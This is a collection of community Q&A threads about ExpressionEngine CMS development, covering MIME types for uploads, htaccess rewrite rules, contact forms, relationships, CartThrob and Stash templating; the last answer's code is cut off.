title: Cannot upload EPS to file directory

text:
# Question
Title: Cannot upload EPS to file directory
I can't upload .eps extension files to any upload directories. I'm on EE 3.4.5. When I try to upload, I see the following message:

I've tried using the 'mime\_whitelist\_additions' config override, but it's still not working.

```
$config['mime_whitelist_additions'] = array(
  'application/postscript',
  'application/eps',
  'application/x-eps',
  'image/eps',
  'image/x-eps'
);

```

Once that didn't work, I tried to use add the mime types to 'mimes.php' located in:

> system \> ee \> EllisLab \> ExpressionEngine \> Config \> mimes.php

I also saw that there's already a mime type declaration for .eps:

> 'application/postscript', // .ai, .eps, .ps

So I don't know what's happening, any ideas?

# Answer
A coworker had this same problem earlier this week and added 'application/octet-stream' to the mime types to solve this.
> 4 votes

# Answer
Assuming that your upload directory settings are set to allow all file types (and not just images), have you tried using turning off XSS cleaning?

EPS files have many similarities with PDF's so perhaps this thread regarding PDF's will be useful.
> 0 votes

---
Tags: file-uploads, config
---


# Question
Title: Multiple SubDomains Pointing to Different EE Posts
What's the best way to get this to work?

I need to get a series of different subdomains to point to specific posts (URLs) from an EE site like this:

```
sub.domain-1.com --> domain.com/post1
sub.domain-2.com --> domain.com/post2
sub.domain-3.com --> domain.com/post3

```

Would this all be done at the domain host where the subdomain is being set up?

# Answer
> 2 votes
This could be handled via `.htaccess` rules, as long as your sub-domain records point at your EE server. Here is an example:

```
RewriteCond %{HTTP_HOST} ^sub.domain-1.com [NC]
RewriteRule ^(.*)$ http://domain.com/post1 [L]

```

I'm not `.htaccess` expert so you may need to play around a little, but that'll do it. You should place these rules in your web roots .htaccess file, before anything else so they get caught early.

It's possible your domain host has some sort forwarding service for sub-domains, you'll have to ask them.

---
Tags: subdomain
---


# Question
Title: Extend 48 hour time limit for new member activation codes
I have had a client complain after receiving "several emails a month" from new members getting the "invalid activation request" error after clicking the link in their activation email after signing up.

I think this is because they've left it longer than the 48 hours default time limit that each activation code is valid for.

Is there a straightforward way to increase this time limit?

Thanks.

# Answer
Let me start by saying that I'm not 100% positive that this is correct, but for EE2 have a look at this file: `/system/expressionengine/modules/member/mod.member_register.php`

The Member Self Activation method starts on line 743 `public function activate_member()`

around line 799:
`$expire = time() - (60*60*48);` this is a comparison on the current time minus two days. It is comparing against pending members held in the exp\_mailing\_list\_queue table

You may be able to modify the expire comparison to fit your needs, but I have not tested this to confirm. Please remember that if you do make changes to the above codes, that they may be overwritten by future updates.
> 0 votes

---
Tags: members, activation
---


# Question
Title: Expression Engine 3 upgrade causing links to break
I recently upgraded a site to EE3 and the EE2 version of the site was using .htaccess to remove index.php from the URLs.

For example: `foo.com/content/index.php/blog` is instead `foo.com/content/blog`

After the upgrade, links that worked with index.php removed from the URLs are causing the site to redirect to the homepage, as if these pages didn't exist. Links with index.php still work and render the correct page. Here is the contents of the .htaccess file:

```
AcceptPathInfo On
RewriteEngine On
RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /content/index.php/$1 [L]
RewriteRule ^$ index.php [QSA]

```

After poking and prodding the site in many ways, my hypothesis is that the .htaccess rewrite rules were OK in EE2, but EE3 needs them to change in someway.

Any guidance or advice would be sincerely appreciated!

# Answer
Thanks to all that attempted to answer the question. I narrowed it down to either a server side issue or .htaccess issue, but in the end it was some server side settings gone awry. This is a dev environment I didn't have backend access to so I was at the will of the client. I suppose the lesson here is make sure all your ducks are in a row, even when you don't have access to the ducks.
> 0 votes

---
Tags: ee3, htaccess, upgrade
---


# Question
Title: Have WYGWAM image insert be able to select from multiple directories
I am currently using WYGWAM 3.3.3 with EE 2.11.1. I have WYGWAM using EE's file manager. Currently with file manager there are 6 different folders they can upload images and pdf's to. When they create an article (entry) and in the body content I have a WYGWAM field I want to give them the option to select an image from any of their 6 upload folders. I know when I setup I can only select one and when you click browse folder it will bring up that folder.

This makes sense as if they upload a new file it knows where to put it but is there any way to allow them to look in the other folders for existing assets to insert?

# Answer
> 2 votes
what happens if you don't specify a folder? EE will normally give you the options for the folders you have rights to upload into

---
Tags: wygwam, file-manager
---


title: Contact Form - Not receiving messages

text:
# Question
Title: Contact Form - Not receiving messages
My contact form appears to be working on the front end. No errors or anything that the user is presented with. However, I'm not getting the email off my server. I've tried email addresses on and off my domain, with no success. Any idea what my be causing the issue?

Server: MediaTemple GS EE: 3.3.0 SITE: creativebyhamilton.com/contact

Mediatemple says there is no issue on their end. They built a test form and were able to send a message to me, which seems that it must be EE.

Here is my code:

```
{exp:email:contact_form user_recipients="no" recipients="test@test.com" charset="utf-8"}
        <div class="width-50">
            <label>NAME:</label>
            <input type="text" name="message[]" value="" />
        </div>
        <div class="width-50">
            <label>EMAIL:</label>
            <input type="text" name="message[]" value="" />
            <input type="hidden" id="from" name="from" value="test@test.com" />
        </div>
        <div class="width-50">
            <label>PHONE:</label>
            <input type="text" name="message[]" value="" />
        </div>
        <div class="width-50">
            <label>COMPANY:</label>
            <input type="text" name="message[]" value="" />
        </div>
        <div class="width-100">
            <label>MESSAGE:</label>
            <textarea rows="8" name="message[]"></textarea>
        </div>
        <button type="submit">Submit</button>
    {/exp:email:contact_form}

```

# Answer
> 2 votes
The answer to this question turns out to be a lot simpler than once though. Looks like the main issue was that I didn't have two hidden required fields included:

```
    <input type="hidden" name="from" value="" />
    <input type="hidden" name="subject" value="Email Contact" />

```

For some reason this caused my form to malfunction.

---
Tags: email, server, email-contact-form
---


title: Get field name within Channel form

text:
# Question
Title: Get field name within Channel form
**Is there a way to show the name of the field in the front end (via Channel Form)?**

There's the Name and short\_name.. I want to put the whole "question" in the field Name rather than type it in the template.

Would be nice to do something like this:

```
<label>{FIELD_NAME}</label>
<input type="text" name="{short_name}" id="{short_name}" value="{value}">

```

instead of:

```
<label>My question here with many words</label>
<input type="text" name="{short_name}" id="{short_name}" value="{value}">

```

It's because I have my form in 3 templates and it would be easier to edit!

# Answer
You could use the Instructions for your question text:

```
<label>{instructions:my_field_name}</label>

```

v2: https://docs.expressionengine.com/v2/add-ons/channel/channel\_form/index.html#instructions-my-field-name

v3: https://docs.expressionengine.com/latest/channel/channel\_form/index.html#instructions-my-field-name
> 3 votes

# Answer
Depending on how many characters are in the question, you could use it as the field label when you create the custom field (or perhaps the instructions) and then output one of those in the channel form. Otherwise, a global variable might do the trick.
> 0 votes

---
Tags: safecracker, channel-fields
---


# Question
Title: Specific word choice in URL title is causing a 404 error on a page. Can anyone help?
I'm working in EE3 and have just come up against a problem that I've never experienced before and I'm really hoping someone can help.

I have created a page with the URL `/destination-reports`. When I go to the page on the front end I get a Not Found 404 error. However when I remove the word destination and the URL becomes `/reports`, the page loads fine as expected. Could '`destination`' be a specialist term that triggers an error?

Any ideas on why it would it be doing this? It's left me a tad confused

Thanks

# Answer
Finally resolved this. On a whim I decided to try the URL /en and that had the same effect too so that meant it had to be language related, with the original problem being with 'de'.

In my htaccess, which is where I started in the first place, I found a reference to a multi-lingual snippet, which included en|fr|es and wouldn't you know it....de. Removing the 'de' sorted the issue straight away.

Mild stupidity on my part as it was right under my nose but I hope that this may help someone in the future.
> 3 votes

---
Tags: channel-entries, structure, 404, url-title, title
---


# Question
Title: CartThrob Processing Without Required Email
I've set up a checkout form that requires the email address field, but users are able to submit the form without an email address, anyway.

Here is my tag, and the fields match up properly:

```
{exp:cartthrob:checkout_form return="give/donation_thanks/" required="first_name|last_name|email_address"}

```

What am I doing wrong here?

Thanks,

ty

# Answer
> 2 votes
NM

The problem turned out to be an older version of the form on the site that didn't have the required parameter in place that someone had bookmarked.

Thanks!

---
Tags: ee2, cartthrob, forms
---


# Question
Title: Module actions returning "File not found." for staging site, not local site
I am currently developing a website in EE (2.10.3), and everything is working great except one difference between my local version (running on XAMPP) and my staging version on a linux server.

I have written a module that my site makes a call to through ACT id, but this isn't working on the staging site, unless I am currently logged in to the control panel! If I'm not logged in, the request returns a 404 error, with the text "File not found.". If I am logged in, visiting the ACT url will return the correct information.

Just to sanity test that it isn't my module causing the issue, I tried loading a url with some other ACT id, with the same issue. For instance, in my installation, the ACT id for the "Channel" method 'combo\_loader' is 4. The url for my local version `http://local.example.com/?ACT=4` loads just fine, while the URL for the staging version `http://staging.example.com/?ACT=4` returns 'File not found.'! If I log in to the control panel in my staging version, then that url works just fine.

Anyone have any info that can help me debug this?

**EDIT:** I've narrowed this down a bit. The problem lies in my .htaccess file. Specifically, the section used for Static Cache for the Mustash add-on. If I disable that, things work...

```
<IfModule mod_rewrite.c>

RewriteEngine on
RewriteBase /

#################################################################################
# START MUSTASH STATIC CACHE RULES

# -------------------------------------------------------------------------------
# default_site
# -------------------------------------------------------------------------------

# Exclude image files
RewriteCond $1 !\.(gif|jpe?g|png|ico)$ [NC]

# We only want GET requests
RewriteCond %{REQUEST_METHOD} GET

# Exclude CSS/ACT EE URLs and 'preview'
RewriteCond %{QUERY_STRING} !^(css|ACT|URL|preview)

# Uncomment this if you want to disable static caching for logged-in users
#RewriteCond %{HTTP_COOKIE} !exp_sessionid [NC]

# Remove index.php from conditions
RewriteCond $1 ^(index.php/)*(.*)(/*)$

# Check if cached index.html exists
RewriteCond /chroot/home/example/staging.example.com/html/_cache/stash/static_cache/1/$2/index.html (.*\.(.*))$
RewriteCond %1 -f

# Rewrite to the cached page
RewriteRule ^(index.php/*)*(.*)(/*) /_cache/stash/static_cache/1/$2/index.%2 [L]

# END MUSTASH STATIC CACHE RULES
#################################################################################

# -------------------------------------------------------------------------------
# Officially supported method to remove index.php from ExpressionEngine URLs
# See: http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html
# -------------------------------------------------------------------------------

# Removes index.php from ExpressionEngine URLs
RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]
RewriteCond %{REQUEST_URI} !/system/.* [NC]
RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]

# Directs all EE web requests through the site index file
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /index.php/$1 [L]

</IfModule>

```

It's not the last two sections, either. I removed them and the problem persists. The problem only goes away when I remove all that other stuff.

# Answer
Try changing the index.php redirect of your htaccess file to be

```
RewriteRule ^(.*)$ /index.php?/$1 [L]

```

Note the ? after index.php
> 0 votes

---
Tags: ee2, stash, module, act, mustash
---


title: EE JQuery reference

text:
# Question
Title: EE JQuery reference
Full Disclosure: Jr Dev ~ Hello All, Recently began working with EE, although I do have some limited JQuery experience. I did my best to avoid the question but several days / weeks looking over the docs and searching has still left me unsure as to how best implement Jquery in EE. I'm having similar issues as others here, scripts breaking when passing EE Variables etc. Other than the official EE docs which are a bit anemic (imho) on jquery, are there any other resources / suggestions to mastering jquery IN EE? It seems like one could avoid multiple issues down the road by proper implementation. Thanks for sharing your thoughts.

# Answer
I'm sure there are many ways to handle jQuery and EE but in my experience, for frontend work I tend to not use the jQuery provided with EE and just link in the version that I want to use.

I always place the main jQuery link in an included footer or header and when necessary I'll add script tags that are specific to a page at the bottom of the page template or in a separate include file depending on my site requirements.

Because I set my own jQuery version, I make sure to turn off EE's version when using channel forms because there is no reason to load multiple versions on a page.

Sometimes I will use template tags inside script tags to work with variables and sometimes I'll add a script variable inside a channel loop that will pass a variable to a function located elsewhere.

If things are not working for you it's usually a syntax problem or a parse order issue, but without knowing what you are trying to do, it's near impossible to give specific advice.

I apologize if you are wanting info on EE's tags for including jQuery or EE's JavaScript type templates. I have found both things to be troublesome to work with and I decided to go with a more direct route like what would be used on a non EE site. Having said that I've build some pretty good sized web applications with EE and jQuery. Many of my apps rely on using EE to control the data and then using jQuery with a channel form to build new input data or change the displayed data. If I can help I'll be glad to do so.

One more note, if your need to get a better grasp of how jQuery works, I highly recommend the free interactive training at CodeAcademy.
> 4 votes

---
Tags: jquery
---


# Question
Title: Children of Parent to Parent Relationship
I have what I thought was an obvious task, but I must be doing something incorrect or have encountered a bug.

I have a Parent relationship to another Parent. The parents are teams, and sometimes teams partner, so through the relationship of parent to parent, when looking at one team, I can show the applicable partner team(s)

In my template, I am outputting the first parent (team)/children (members) without issue.

But when I try to output the children of the relationship team, it works, but only shows one entry no matter what parameters I play with. It’s not looping through showing them all.

I've tried siblings, but then I get the results from any relation, not the direct one I am wanting. This simple enough, yet not working.

```
{rel_partner_teams}
  <div class="member_img">
    {rel_partner_teams:rel_team_members:file_member_photo}
  </div>
{/rel_partner_teams}

```

# Answer
> 2 votes
You need another tag pair, as each tag pair loops through only *that one* relationship. You need to loop through another set of relationships within each relationship.

```
{rel_partner_teams}
    {rel_partner_teams:rel_team_members}
        <div class="member_img">
            {rel_partner_teams:rel_team_members:file_member_photo}
        </div>
    {/rel_partner_teams:rel_team_members}
{/rel_partner_teams}

```

Also, just to clarify language - there is no "parent-to-parent" relationship here, even though you are relating each entry to entries in the same channel. If an entry is selected in a relationship field, it becomes the "child" of the entry it was selected in. So your example is actually "parent to child to child." :)

---
Tags: relationships
---


# Question
Title: How can I list channel entries with same relationship to another channel?
I have two channels, Destinations and Hotels

Within the Hotels channel, I have a relationship field called `hotel_destination`, which relates it to the destination channel.

Now, on the hotel entry page/template, I'm struggling in being able to list the other hotel entries that are also related to the same destination.

Example. If Hotel 1, Hotel 2 and Hotel 3 were all related to Destination 1, then on the Hotel 1 entry page, I'd like to be able to display a listing of Hotel 2 and Hotel 3, as they are also related to Destination 1. Likewise if I selected the Hotel 2 entry page, I'd want to see Hotel 1 and Hotel 3.

The ultimate aim is to have the 'sibling' hotels listed in a sidenav of sorts, so that users know which other hotels are in a given destination.

I read and played around with the Relationship field with no luck and hoped someone might point me in the right direction

Thanks

# Answer
> 1 votes
I'm pretty sure that this example pulled right from the relationships docs will work for you:

```
{exp:channel:entries channel="hotels"}
  {hotel_destination}
    {hotel_destination:siblings field="hotel_destination"}
      {hotel_destination:siblings:title}
    {/hotel_destination:siblings}
  {/hotel_destination}
{/exp:channel:entries}

```

---
Tags: channel-entries, relationships, ee3, related-entries, parent
---


title: Related entry's doesn't work

text:
# Question
Title: Related entry's doesn't work
I run expression engine 2.9.2 but if I want to use related\_entry's it display the tag on my front-end, I don't now what is wrong I have selected another entry. It looks like it doesn't understand the tag {related\_entries id="dashcam\_relatie"} because it displays as text. Also can I find nothing on EE only the v3 solutions

```
{exp:channel:entries channel="dashcam" limit="1" disable="member_data" paginate="bottom" track_views="two"}

...

{related_entries id="dashcam_relatie"}
        {title}
{/related_entries}

{/exp:channel:entries}

```

display

{related\_entries id="dashcam\_relatie"} display title from the active entry {/related\_entries}

# Answer
Relationships changed in expressionengine 2.6. It looks like your template code won't work in 2.9.2. See the v2 docs on relationships: https://docs.expressionengine.com/v2/add-ons/channel/relationships.html

For example if your relationship field is called "dashcam\_relatie" you might have something like:

```
{exp:channel:entries channel="dashcam"}

    {dashcam_relatie}
            {dashcam_relatie:title}
    {/dashcam_relatie}

{/exp:channel:entries}

```
> 2 votes

---
Tags: related-entries
---


# Question
Title: How to customize front-end exp:email:contact_form error
I would like to know how to customize the displayed screen when the user didn't insert all the required inputs in a exp:email:contact\_form.

"The default screen could show the next message:

The following errors were encountered

Email Message is Required Return to Previous Page"

Many thanks

# Answer
> 0 votes
Most system error messages may be edited by making changes to the language files. To find the message/file that you need to change, you can use the translation utility.

* For EE2: CP-\>Tools-\>Utilities-\>Translation Utility
* For EE3: CP-\>Developer-\>Utilities-\>CP Translation

I believe that is the EE way of doing things. However, I would highly recommend that you use jQuery and the jQuery Validation library to handle your error messages inline or on the page instead of messing with EE's error pages. The EE error pages, while simple to use, do not really allow for fine grain modification. To me, it is much more user friendly to check validation during form input or on form submission and present a customized message and error highlighting so that the user knows right away what needs to be fixed and they don't have to jump between form and error page and back to fix it.

Furthermore, once you have the validation library working, you can quickly set up any form on input you need and validate the input with whatever requirements you have. Custom messages are easy to setup per form or per site.

Edit: since you seem to be wanting to customize the design and layout of the error page, you can do so a couple of different ways.

1. Edit the message templates found in the design user message section. Be sure to include the message tags that are specified there.
2. Use a user management extension like Solspace User or other similar mod that allows you to setup your own custom templates for redirection.

---
Tags: email-contact-form
---


# Question
Title: CE Image makes my logs sad by using xss_clean
Since updating to EE 3.4.0, I keep getting an annoying notification that there's new junk in the dev-logs. And there, I only find this ... which seems to be done by the almighty CE Image.

```
Deprecated function xss_clean() called in /var/www/html/svenskakakel.se/public_html/system/user/addons/ce_img/libraries/Ce_image.php on line 664.
From template tag exp:ce_img:pair in keramik/produkt.
Deprecated since 3.0. Use ee('Security/XSS')->clean() instead.

```

Any ideas on how to solve this?

CE Image is supposedly for EE3 now, but, is it really? :)

I'm running PHP 5.6.24 (after downgrading from php 7 which, if you ask me, is not good for EE-enviroment yet).

# Answer
CE Image 3.0.1 has been released and should take care of those pesky deprecation notices.
> 2 votes

---
Tags: ce-image, xss
---


# Question
Title: Are there any options for choosing and showing a Primary Category in EE3?
I am upgrading a site to EE3. I have a channel with 3 separate category groups, with 2-3 levels of categories in each group. Any particular entry could have 3-6 categories selected.

For breadcrumbs on an entry, I'd like to be able to select a primary category so that I only display on breadcrumb trail for the entry instead of a list of all the associated categories.

Is there a solution for how to do this in EE3. Solspace "Primary Category" is not EE3 compatible and is discontinued.

# Answer
Originally I was going to suggest using standard categories tags and the parent\_only parameter, but I don't think that will get you all the way there.

Sounds like you might be able to use GWcode Categories. This is an EE2 plugin that lets you set categories display and control their depth, etc.

While the plugin is EE2, there is a beta that seems to work on EE3 without issue. You can find more info via the devot:ee support forum
> 0 votes

---
Tags: categories, ee3
---


# Question
Title: EE 2.8.1 - 3.5.7 upgrade successful but nor channel data visible in control panel
We are in the process of upgrading several EE cms instances from v2.8.1 to v3.5.7 and have run into an issue. Each instance is running 2.8.1 with the MSM and 50 sites enabled (though in some cases not all used).

After successfully running the upgrade, we cannot view any of the existing channel entries through the Control Panel. We have confirmed that all entries are present in the exp\_channel\_titles and exp\_channel\_entries database tables. Also the Control Panel homepage boxes list correctly the Channels, Members and Content relevant to a given site. However, clicking Edit \> View All or Edit \> Channel results in an Entry Manager page with "No entries found"

If we publish an entry to any given channel it will save to both database tables as expected but is not viewable through the Control Panel.

Does anyone know why this might be and how to fix it?

# Answer
I have a similar problem and I described it here: https://expressionengine.com/forums/topic/250487/no-entries-found-in-cp-after-updating

All entries disappear when I add a new entry. After 10-15 minutes they back again. The main difference is that I didn't update the CMS - it's just started one day.

As you can see, I couldn't find any solution for that yet. Have you?

---

**UPDATE:**

Finally I solved this problem!

I checked the logs of the database and… I found something like this:

> 2017-06-21T08:45:41.428236Z 17714007 \[Warning\] InnoDB: Cannot add field `wd_field_id_156_234` in table `tmp`.`#sql_1edc_0` because after adding it, the row size is 8164 which is greater than maximum allowed size (8126) for a record on index leaf page.

I solved it this way: https://bugs.mysql.com/bug.php?id=77398. So it was database issue.

I can’t see similar issue now. Entries are visible after updating/adding new entries and everything looks well.
> 1 votes

---
Tags: ee3, upgrade
---


# Question
Title: Solspace Calendar error: "Column 'repeat_weeks' cannot be null"
EE 2.11.8, Solspace Calendar 1.8.14 (vastly out of date, I know, I know... old client site. * *le sigh* * )

I'm trying to post a new Calendar Event entry. When I set it to not repeat, or to repeat yearly, it works fine. However, if I choose to have it repeat daily, weekly, or monthly, I get the following error:

```
A Database Error Occurred
Error Number: 1048

Column 'repeat_days' cannot be null

INSERT INTO `exp_calendar_events_rules` (`event_id`, `calendar_id`, `entry_id`, `rule_type`, `start_date`, `all_day`, `start_time`, `end_date`, `end_time`, `repeat_years`, `repeat_months`, `repeat_days`, `repeat_weeks`, `days_of_week`, `relative_dow`, `days_of_month`, `months_of_year`, `stop_after`, `stop_by`, `last_date`) VALUES ('230', '72', '230', '+', '20170621', '', '1300', '20170621', '1400', 0, 0, NULL, 0, '', '', '', '', 0, '20170628', 20170628)

Filename: third_party/calendar/data.calendar.php

Line Number: 997

```

I've checked the console to see if there are any JS errors, thinking perhaps the Calendar fieldtype might be having an issue with modern browser JS, but there's no apparent problems.

This site is hopefully going to be revamped this summer, but until then, I just need this to work properly. Can anyone point me to a fix, whether it's a code change, database field requirement change, or something else? Much grass!

# Answer
I have never used Solspace Calendar but I think what is happening here is that EE is just passing through an error generated from MySQL.

I'm *pretty sure* that if you `ALTER` your `exp_calendar_events_rules` table so that the column `repeat_days` allows `NULL` values the error will go away.

But is it possible this will have consequences on the operation of the Calendar module so you would definitely want to try it on a dev instance of the site.
> 0 votes

---
Tags: error, solspace-calendar, entry
---


# Question
Title: How do I configure CartThrob to use billing address as shipping address by default?
A client sells digital products where the shipping address isn't even necessary but I guess Authorize.net sometimes declines payments because the default shipping address, which is never shown or even hidden in the form, does not match the billing address. Is there a way that I can set CartThrob to just always submit the billing address as the shipping address for digital products?

OR is there a way to completely disable shipping from being submitted to Authorize.net (or any payment gateway for that matter)?

The site is running CartThrob 2.61.

# Answer
> 0 votes
If Authorize.net is requiring the billing info, then it would probably be easiest to set the fields during checkout.

You can use the cartthrob checkbox method - which is simply a jQuery based copy (setting values of fields via other fields) of the billing fields to shipping fields when checked.

A second method would be to use a scripted function on the form submit button to copy field values to hidden fields and then send the form.

Finally, you could directly edit the gateway and set the necessary values there prior to the data CURL to your gateway server. It would be a simple matter of copying variables prior to setting the charge data array.

You may be able to set your gateway's required fields or set what is being verified prior to charging the card, but that is something that you'll have to check directly with Authorize.net and see what info they are requiring that you submit.

---
Tags: cartthrob, shipping, authorize.net
---


# Question
Title: Start channel entries after a specified count
I need to display entries starting after the third item (where the count is more than three). This must be easy to do, but I haven't found a parameter for this. I know about the {count} variable, but {if {count} \> "3"}, {if count \> "3"} or {if "{count}" \> "3"} doesn't seem to be working.

# Answer
Unless there are other reasons why not use

```
{exp:channel:entries offset="3"}

```

Then inside the channel tag use the `{if no_results}...{/if}` to handle no content.

https://docs.expressionengine.com/latest/channel/channel\_entries.html#offset
> 2 votes

---
Tags: entries, count
---


# Question
Title: Problem with Template Routes and Pagination
I have an established site that was working just fine, but following a point-upgrade of EE (3.5.6 to 3.5.9) template routes that include a pagination term have all stopped working. I am mystified as to what is going on - maybe someone can suggest either a fix or a way to find out what is going on...

I have several template routes of the form `/resources/category/{page:pagination}` `segments=no`.

Currently any two-segment URL that would match this type of route (e.g. `/resources/public-sector`) goes to a 404. Identical URLs with a pagination term (e.g. `/resources/public-sector/P5`) work as they should.

If I send a URL that has a random third segment to the route (e.g. `/resources/public-sector/stuff`) the route goes to a 404 (correctly).

However, if I send a URL that has a third segment that has the form of a pagination term, but a lower case letter (e.g. `/resources/public-sctor/p7`) the route returns the opening page (what I should have got when there is no third segment).

I realise that with cleverness I could use a single route for all the various categories, but for various reasons all the various categories have their own route (so one for `/resources/public-sector`, a similar but separate one for `/resources/presentations` etc.) - and this behaviour is replicated across all of them.

Does anyone know what is going on here? Anyone seen it before?

Thanks alot for any help on this. FWIW It looks a lot like the unresolved issue in this thread.

# Answer
> 1 votes
This turned out to be a bug, which appears to have been around since 3.4.0.

Temporary fix ℅ Ellis Labs is to replace the static segment 2 element with regex to achieve same end: no idea why it works, but it does. So, for example, to get the example route from question to work, you need to modify it as follows:

`/resources/{seg_2:regex[(public\-sector)]}/{page:pagination}`

Posting answer here in case it is useful for someone else.

---
Tags: ee3, pagination, template-routes
---


# Question
Title: Check if someone is already Editing an Entry
I want to check if another author is alredy editing an entry in expressionengine backend. If yes i want to warn him that someone is already editing.

Is this possible somehow? I googled but wasn't able to find what i am searching for.

Thanks.

# Answer
> 1 votes
To my knowledge, ExpressionEngine does not do entry locking out of the box. Most likely you will need an extension to enable this behavior. I used to have one back in the days of EE1, but I haven't had a need for it since then.

If you are on EE2, there is an extension on devot:ee called Lock Entry that might work for you. I have not used it, but other users seem to have success with it. Just be sure to read the comments and follow up with the forked and updated versions to fit your environment.

---
Tags: ee3, entries, admin, author
---


# Question
Title: Carthrob Speedup printing multiple invoices/packing-slips?
I have an e-commerce site that is generating upwards of 70 orders a week and the client works on a weekly ordering cycle, so we have a template that generates packing-slip for all of the open orders. Otherwise it would be a pain to click through the orders one by one to generate the invoice.

The orders all contain multiple items and options, making the resulting query massive.

Last week they went over 80 orders and the server just choked and I had to do 40 at a time.

Does anyone know of a way to optimise this?

# Answer
To start with, 70 orders per week should not be choking your server unless it is a severely underpowered box or something is not well written in the code - like embeds within embed loops or something that is causing massive slowdowns. FWIW, I have an EC site that normally does around 50 orders per day on EE3/CT (php7) and another that runs about 80 per week on EE2/CT. (php 5.6)

In my case, I tend to rewrite much of the heavy EE code into exp:query tags because it is so much faster for data output due to a massive reduction in total page queries.

As to your invoice output question, I can think of a couple of ways that may be worth consideration.

1. The way we handle our order processing here is that all new orders get checked and then we flip the status to 'checked' or 'hold' or whatever. We then output the entire days' orders to a CSV file and that data is used to import data into the factory production system and fulfillment systems. To put it simply - it may be better for you to run out all your order data into a CSV or output file and use that file to mail merge or print invoices via word or excel or something similar. Its easier to manage and easier to control the output when compared to setting up print css and trying to print everything from the browser. If I'm not mistaken, both Word and Excel are able to take data from a file and use it in templates.
2. If you must print from the browser, this might be painful, but its doable. You'll need to first setup a template that's optimized for fast output - exp:query or doing some smart embedding. Thats also why I mentioned status controls earlier. You'll want a way to target ONLY the orders that need to be printed and ignore everything else. Try and limit your query scope as much as possible prior to getting the data - i.e, `status` and `entry_date` to start with. Since printing each page individually is time consuming, you'll want to setup your template to handle all pages in a loop and you'll most likely want to set that template up with some css for printing thats formatted to fit your invoice page size and requirements. Use a css page break between entries to print each entry onto its own page.

Off the top of my head, the above is just two ways that I might try to develop into a more workable solution. I know its not specific information, but perhaps the concepts are enough to get you moving towards your goal. If you need more specific info, I'll be happy to help where I can.
> 1 votes

---
Tags: cartthrob
---


# Question
Title: Has anyone set the database on a remote server while the controllers sit on local/hosted system
I host the MySQL server providing the database functions and the site itself on the same hosting platform (a semi-dedicated server).

I was wondering if I could improve expression engine performance if I separate the two spheres to two separate servers. That is, put the database on some super fast server on a remote database provision service. Maybe even AWS: https://aws.amazon.com/rds/pricing/

Anybody got experience with this implementation?

# Answer
That may not have the effect that your after. Yes, having a separate DB server is a good thing! I run a load balanced Arcustech setup with 3 servers (2 app, 1db). We also have New Relic running on the servers. At a glance it shows me that PHP is what is using most of the processing power and has a significantly higher transaction time than the database. I would make your main web server the one that has most of the grunt first. Beefing up servers unless your seeing a huge bump in traffic maybe a bandaid to a website that may not be build as efficiently as it could be. Take a look at the template debugging and the stack trace before throwing money at extra servers. It can be all enlightening.
> 0 votes

---
Tags: database, mysql, server, aws
---


title: Stash List with Grid and Entry Title

text:
# Question
Title: Stash List with Grid and Entry Title
I'm trying to display two columns of EE entries, each entry has a grid field with a text field and an Assets field. I thought I was close on this, but clearly I'm missing the boat because the grid portion isn't spitting anything out :(

```
{embed="_layout/main"}
{preload_replace:the_channel="publications"}
{exp:stash:set_value name="title" value="Publications"}

{exp:stash:set name="content"}
<h1>Publications</h1>

<p class="lead-in">{lv_publications_leadin}</p>

{exp:stash:set_list name="pub" parse_tags="yes" save="yes" scope="site"}
{exp:channel:entries
    channel="{the_channel}"
    disable="categories|category_fields|member_data|pagination"
    limit="20"
    sort="desc"
    status="Open"
    show_future_entries="yes"
}
        {stash:publication_title}{title}{/stash:publication_title}

        {exp:stash:set_list:nested name="entry_files" context="{entry_id}" parse_tags="yes"}
            {publication}
                {stash:publication_year}{publication:year}{/stash:publication_year}
                {stash:publication_file}{publication:file}{/stash:publication_file}
            {/publication}
        {/exp:stash:set_list:nested}

{/exp:channel:entries}
{/exp:stash:set_list}

<div class="w-row">
    <div class="w-col w-col-6">
        {exp:stash:get_list name="pub" sort="desc" limit="1/2"}
        <div class="_97 card">
            <h4>{publication_title}</h4>
            <ul class="card-list">
                {exp:stash:get_list:nested name="entry_files" context="{item_entry_id}" prefix="nested"}
                <a href="{publication_file}"><li>{publication_year} {publication_title}</li></a>
                {/exp:stash:get_list:nested}

            </ul>
        </div>
        {/exp:stash:get_list}
    </div>
    <div class="w-col w-col-6">
        {exp:stash:get_list name="pub" sort="desc" offset="1/2" limit="1/2"}
        <div class="card">
             <h4>{publication_title}</h4>
            <ul class="card-list">

                {exp:stash:get_list:nested name="entry_files" context="{item_entry_id}" prefix="nested"}
                <a href="{publication_file}"><li>{publication_year} {publication_title}</li></a>
                {/exp:stash:get_list:nested}

            </ul>
        </div>
        {/exp:stash:get_list}
    </div>

</div>
{/exp:stash:set}

```

# Answer
> 1 votes
Suspect it is because you are using different context settings between setting the list and getting it back again.

You set the list using `{entry_id}` as the context. You retrieve the list using `{item_entry_id}` as the context.

But you don't seem to be setting / saving the value `{item_entry_id}`.

If you are basing this code on the examples on the lists page of the stash wiki, you'll see that in those the examples explicitly store the `{item_entry_id}` value based on `{entry_id}` as follows in the example given on that page:

```
{exp:stash:set_list name="my_list" parse_tags="yes" parse_depth="2"}
    {exp:channel:entries channel="clients" limit="5"}

        {stash:item_title}{title}{/stash:item_title}
        {stash:item_entry_id}{entry_id}{/stash:item_entry_id}

        {exp:stash:set_list:nested name="related_entries" context="{entry_id}" parse_tags="yes"}
            {!-- this could be a Matrix or Playa tag pair --}
            {contact_docs}
                {stash:related_title}{mx_title}{/stash:related_title}
            {/contact_docs}
        {/exp:stash:set_list:nested}

    {/exp:channel:entries}
{/exp:stash:set_list}

```

HTH

# Answer
> 0 votes
```
    {embed="_layout/main"}
{preload_replace:the_channel="publications"}
{exp:stash:set_value name="title" value="Publications"}

{exp:stash:set name="content"}
<h1>Publications</h1>

<p class="lead-in">{lv_publications_leadin}</p>

{exp:stash:set_list name="pub" parse_tags="yes" parse_depth="2"}
{exp:channel:entries
    channel="{the_channel}"
    disable="categories|category_fields|member_data|pagination"
    limit="20"
    sort="desc"
    status="Open"
    show_future_entries="yes"
}
        {stash:publication_title}{title}{/stash:publication_title}
